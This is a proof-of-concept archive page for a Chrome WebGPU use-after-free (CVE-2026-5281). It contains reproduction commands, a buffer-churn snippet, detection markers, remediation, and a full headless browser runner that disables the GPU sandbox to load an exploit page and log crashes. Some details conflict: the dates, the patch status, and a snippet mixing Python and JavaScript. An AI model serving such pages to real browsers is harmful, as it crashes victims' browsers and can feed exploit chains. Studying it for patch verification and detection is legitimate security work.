PoC Archive PoC Archive
High CVE-2026-5281 unpatched

Chrome WebGPU Use-After-Free (CVE-2026-5281)

by umair-aziz025 (Umair Aziz) · 2026-05-18

CVSS 8.8/10
Severity
High
CVE
CVE-2026-5281
Category
web
Affected product
Google Chrome / Chromium WebGPU (Dawn backend)
Affected versions
Chrome < 146.0.7680.178
Disclosed
2026-05-18
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-18
Last Updated2026-04-02
Author / Researcherumair-aziz025 (Umair Aziz)
CVE / AdvisoryCVE-2026-5281
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSSv3)
StatusWeaponized
Tagsuse-after-free, WebGPU, Chrome, Dawn, GPU, browser, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemGoogle Chrome / Chromium WebGPU (Dawn backend)
Versions AffectedChrome < 146.0.7680.178
Language / PlatformPython toolkit generating HTML/JavaScript WebGPU payloads; Windows-focused testing
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-5281 is a reported WebGPU use-after-free condition in Chrome’s Dawn backend. The upstream toolkit provides an aggressive payload generator, scanner, and automated browser runner to reproduce crash-like GPU-failure signals and compare vulnerable vs patched behavior. In vulnerable builds, crafted WebGPU buffer lifecycle patterns can trigger GPU device loss/hang signals and browser instability, with potential downstream impact including denial of service and possible exploit-chain abuse.


Vulnerability Details

Root Cause

The research describes a lifetime-management flaw in WebGPU command/buffer handling where buffers can be destroyed and reallocated around pending GPU work. Under heavy command pressure, stale references can be exercised after free, creating a UAF-style memory safety condition in the graphics pipeline.

Attack Vector

An attacker-controlled webpage serves JavaScript WebGPU logic that allocates many buffers, submits compute work, destroys buffers, and reuses similarly sized allocations to pressure reuse timing. Victim interaction is limited to opening the crafted page in a vulnerable browser build.

Impact

Observed outcomes include GPU device-loss/hang states and renderer instability (denial of service). If combined with additional primitives in a real-world chain, memory corruption in browser GPU paths can increase risk of stronger outcomes such as code execution.


Environment / Lab Setup

OS:          Windows lab host (researcher-controlled)
Target:      Google Chrome below 146.0.7680.178
Attacker:    Authorized researcher-controlled local host
Tools:       Python 3.8+, Chromium-based browser, local HTTP server

Setup Steps

1
2
3
4
5
python cve_2026_5281_exploit.py --generate-all --output ./poc_fixed

python -m http.server 8080 -d ./poc_fixed

python cve_2026_5281_automated_test.py --url "http://localhost:8080/exploit.html" --timeout 20

Proof of Concept

Step-by-Step Reproduction

  1. Run local scanner to classify installed Chrome version.
    1
    
    python cve_2026_5281_scanner.py --local --json
    
  2. Generate and host payload artifacts for controlled testing.
    1
    2
    
    python cve_2026_5281_exploit.py --generate-all --output ./_poc_output
    python -m http.server 8080 -d ./_poc_output
    
  3. Execute automated run and evaluate logs on vulnerable and patched builds.
    1
    2
    
    python cve_2026_5281_automated_test.py --url "http://localhost:8080/exploit.html" --timeout 20 --out-json ./evidence/run.json
    python cve_2026_5281_scanner.py --assess-claim --vuln-log ./evidence/vulnerable_run.log --patched-log ./evidence/patched_run.log --vuln-version 146.0.7680.165 --patched-version 146.0.7680.178 --json
    

Exploit Code

See cve_2026_5281_exploit.py, cve_2026_5281_scanner.py, and cve_2026_5281_automated_test.py in this folder.

1
2
3
4
5
6
7
8
9
for i in range(200):
    size = (64 + random.randint(0, 16320)) * 4
    tempBuffers.append(gpuDevice.createBuffer({
        "size": size,
        "usage": GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST | GPUBufferUsage.COPY_SRC
    }))

for b in tempBuffers:
    b.destroy()

Expected Output

Vulnerable behavior: fatal GPU markers (device lost / crash detected) may appear.
Patched behavior: no fatal GPU markers under the same harness.
Scanner assessment: READY/PARTIAL/INSUFFICIENT based on captured evidence.

Screenshots / Evidence

  • screenshots/ — add authorized lab evidence for vulnerable and patched runs

Detection & Indicators of Compromise

Potential markers in logs/telemetry:
- "gpu device lost"
- "crash detected"
- "vulnerability confirmed"
- "uncaught gpu error" with device lost/gpu hang/context lost variants

SIEM / IDS Rule (example):

Detect repeated WebGPU buffer create/destroy pressure patterns followed by
browser GPU device-loss telemetry on vulnerable Chrome builds.

Remediation

ActionDetail
PatchUpgrade Chrome/Chromium to 146.0.7680.178 or newer
WorkaroundRestrict access to untrusted WebGPU content and disable risky lab-only flags outside controlled testing
Config HardeningEnforce rapid browser updates and monitor GPU crash/device-loss telemetry for anomaly response

References


Notes

Auto-ingested from https://github.com/umair-aziz025/CVE-2026-5281-Research-Toolkit on 2026-05-18.

cve_2026_5281_automated_test.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
# DISCLAIMER: For authorized security research and defensive testing only.
# WARNING: This lab utility runs Chromium with --disable-gpu-sandbox, which
# removes key process-isolation protections. Use only in isolated, authorized labs.
import asyncio
import argparse
import json
import logging
from datetime import datetime
from pathlib import Path

from pyppeteer import launch

logging.basicConfig(
    level=logging.INFO, 
    format='%(asctime)s [%(levelname)s] %(message)s'
)

FATAL_MARKERS = (
    "GPU DEVICE LOST",
    "CRASH DETECTED",
    "VULNERABILITY CONFIRMED",
)


def ensure_parent_dir(file_path: str):
    p = Path(file_path)
    p.parent.mkdir(parents=True, exist_ok=True)


def classify_console_line(text: str):
    upper = text.upper()
    if any(marker in upper for marker in FATAL_MARKERS):
        return "fatal"
    if "UNCAUGHT GPU ERROR" in upper and any(x in upper for x in ("DEVICE LOST", "GPU HANG", "CONTEXT LOST", "OUT OF MEMORY", "INTERNAL ERROR", "REMOVED")):
        return "fatal"
    if "MAX ATTEMPTS REACHED WITHOUT CRASH" in upper:
        return "non_fatal_terminal"
    return "info"

async def test_cve_2026_5281_headless(url: str, timeout_seconds: int, browser_path: str):
    logging.info("Starting Headless Automated Testing for CVE-2026-5281 UAF...")
    logging.warning("Lab-only configuration: this script launches Chromium with --disable-gpu-sandbox; do not use in production.")
    run_data = {
        "started_at": datetime.utcnow().isoformat() + "Z",
        "url": url,
        "timeout_seconds": timeout_seconds,
        "browser_path": browser_path,
        "console": [],
        "status": "running",
        "signals": {
            "fatal": False,
            "max_attempts_without_crash": False,
        },
    }

    def on_console_message(msg):
        text = msg.text
        classification = classify_console_line(text)
        run_data["console"].append({
            "ts": datetime.utcnow().isoformat() + "Z",
            "classification": classification,
            "text": text,
        })
        logging.info(f"BROWSER CONSOLE: {text}")
        if classification == "fatal":
            run_data["signals"]["fatal"] = True
        if classification == "non_fatal_terminal":
            run_data["signals"]["max_attempts_without_crash"] = True
    
    # Launch browser with parameters allowing WebGPU natively
    browser = await launch(
        headless=True,
        executablePath=browser_path,
        args=[
            '--enable-unsafe-webgpu',
            '--disable-gpu-sandbox',   # Dangerous: disables GPU sandbox isolation (lab-only).
            '--enable-features=Vulkan',
            '--use-angle=vulkan'       # Depending on platform, you could also configure to 'd3d11' or 'default'
        ]
    )
    
    page = await browser.newPage()
    
    # We must listen to console logs generated by our exploit HTML
    page.on('console', on_console_message)
    
    try:
        logging.info(f"Navigating to exploit payload on {url}")
        await page.goto(url, {'waitUntil': 'domcontentloaded'})
        
        logging.info(f"Waiting for exploit to execute. The automated headless script will run for up to {timeout_seconds} seconds.")
        await asyncio.sleep(timeout_seconds)
        run_data["status"] = "completed"
        
    except Exception as e:
        # A successful DoS or context crash might actually break the Pyppeteer protocol connection
        logging.warning("Exception caught while connected. This could mean the GPU rendering engine cleanly crashed the headless tab!")
        logging.error(f"Error trace: {e}")
        run_data["status"] = "exception"
        run_data["exception"] = str(e)
    finally:
        logging.info("Attempting to close the headless browser.")
        try:
            await browser.close()
            logging.info("Browser closed gracefully.")
        except Exception as e:
            logging.warning("Browser was completely hung or killed! (Expected during DoS)")
            run_data["status"] = "browser_hung"

    run_data["ended_at"] = datetime.utcnow().isoformat() + "Z"
    return run_data


def summarize_run(run_data):
    if run_data["signals"]["fatal"]:
        verdict = "fatal_signal_detected"
    elif run_data["signals"]["max_attempts_without_crash"]:
        verdict = "no_crash_within_attempt_budget"
    else:
        verdict = "inconclusive"

    return {
        "verdict": verdict,
        "status": run_data.get("status", "unknown"),
        "signals": run_data.get("signals", {}),
        "console_lines": len(run_data.get("console", [])),
    }


def parse_args():
    parser = argparse.ArgumentParser(description="CVE-2026-5281 automated browser behavior runner")
    parser.add_argument("--url", default="http://localhost:8080/exploit.html", help="Target URL to open")
    parser.add_argument("--timeout", type=int, default=15, help="How long to observe behavior")
    parser.add_argument("--browser-path", default=r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", help="Chromium-based browser executable path")
    parser.add_argument("--out-json", default="automated_test_run.json", help="Path for structured JSON output")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    logging.info("=== AUTOMATED WEBGPU CRASH DETECTOR ===")
    data = asyncio.get_event_loop().run_until_complete(
        test_cve_2026_5281_headless(args.url, args.timeout, args.browser_path)
    )
    summary = summarize_run(data)
    data["summary"] = summary

    ensure_parent_dir(args.out_json)
    Path(args.out_json).write_text(json.dumps(data, indent=2), encoding="utf-8")
    logging.info(f"Saved run JSON: {args.out_json}")
    logging.info(f"Run verdict: {summary['verdict']}")
    logging.info("=== END OF TEST ===")